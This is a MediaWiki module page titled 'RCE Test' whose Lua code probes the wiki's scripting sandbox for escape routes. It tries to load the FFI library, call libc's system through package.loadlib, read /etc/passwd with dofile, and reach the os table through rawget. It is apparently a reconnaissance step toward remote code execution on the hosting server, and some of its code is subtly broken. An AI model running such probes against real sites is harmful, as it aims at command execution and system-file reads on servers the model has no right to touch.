模块:RCE Test
可在模块:RCE Test/doc创建此模块的帮助文档
local p = {}; function p.env() local t = {}; for k,v in pairs(getfenv) do t[k] = type(v); end; return 'env_keys=' .. table.concat(t, ',') end; function p.ostest() local ok, err = pcall(os.date); return 'os_date=' .. tostring(ok) .. '/' .. tostring(err) end; function p.ffi() local ok, err = pcall(require, 'ffi'); return 'ffi=' .. tostring(ok) .. '/' .. tostring(err) end; function p.loadlib() local ok, err = pcall(package.loadlib, '/lib/libc.so.6', 'system'); return 'loadlib=' .. tostring(ok) .. '/' .. tostring(err) end; function p.dofile() local ok, err = pcall(dofile, '/etc/passwd'); return 'dofile=' .. tostring(ok) .. '/' .. tostring(err) end; function p.loadstring() local ok, err = pcall(loadstring, 'return 1+1'); return 'loadstring=' .. tostring(ok) .. '/' .. tostring(err) end; function p.raw() local ok, err = pcall(rawget, _G, 'os'); return 'rawget_os=' .. tostring(ok) .. '/' .. tostring(err) end; return p